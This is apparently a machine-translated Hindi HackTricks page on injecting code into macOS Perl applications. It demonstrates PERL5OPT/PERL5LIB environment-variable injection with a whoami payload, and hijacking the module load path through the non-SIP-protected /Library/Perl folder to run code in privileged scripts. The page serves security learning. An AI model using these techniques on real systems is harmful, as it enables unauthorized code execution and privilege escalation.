5.3 KiB
macOS Perl एप्लिकेशन्स इंजेक्शन
htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो करें।
- हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।
PERL5OPT
और PERL5LIB
env वेरिएबल के माध्यम से
PERL5OPT
env वेरिएबल का उपयोग करके perl को विभिन्न कमांड्स को निषेधात्मक रूप से चलाना संभव है।
उदाहरण के लिए, इस स्क्रिप्ट को बनाएं:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
अब एनवी वेरिएबल निर्यात करें और पर्ल स्क्रिप्ट को निष्पादित करें:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
एक और विकल्प है कि एक Perl मॉड्यूल बनाया जाए (उदाहरण: /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
{% endcode %}
और फिर env variables का उपयोग करें:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
वाया निर्भरता
Perl चल रहे डिपेंडेंसीज़ फ़ोल्डर क्रम को सूचीबद्ध करना संभव है:
perl -e 'print join("\n", @INC)'
कुछ इस प्रकार की चीज वापस देगा:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
कुछ वापस लौटाए गए फोल्डर मौजूद भी नहीं हैं, हालांकि, /Library/Perl/5.30
मौजूद है, यह SIP द्वारा सुरक्षित नहीं है और यह SIP द्वारा सुरक्षित फोल्डरों से पहले है। इसलिए, कोई व्यक्ति उस फोल्डर का दुरुपयोग करके वहां स्क्रिप्ट डिपेंडेंसीज़ जोड़ सकता है ताकि एक उच्च विशेषाधिकार Perl स्क्रिप्ट इसे लोड करें।
{% hint style="warning" %} हालांकि, ध्यान दें कि आपको उस फोल्डर में लिखने के लिए रूट होना चाहिए और आजकल आपको यह TCC प्रॉम्प्ट मिलेगा: {% endhint %}
उदाहरण के लिए, अगर एक स्क्रिप्ट use File::Basename;
को आयात कर रहा है तो /Library/Perl/5.30/File/Basename.pm
बनाने से इसे विचारशील कोड को निष्पादित करना संभव होगा।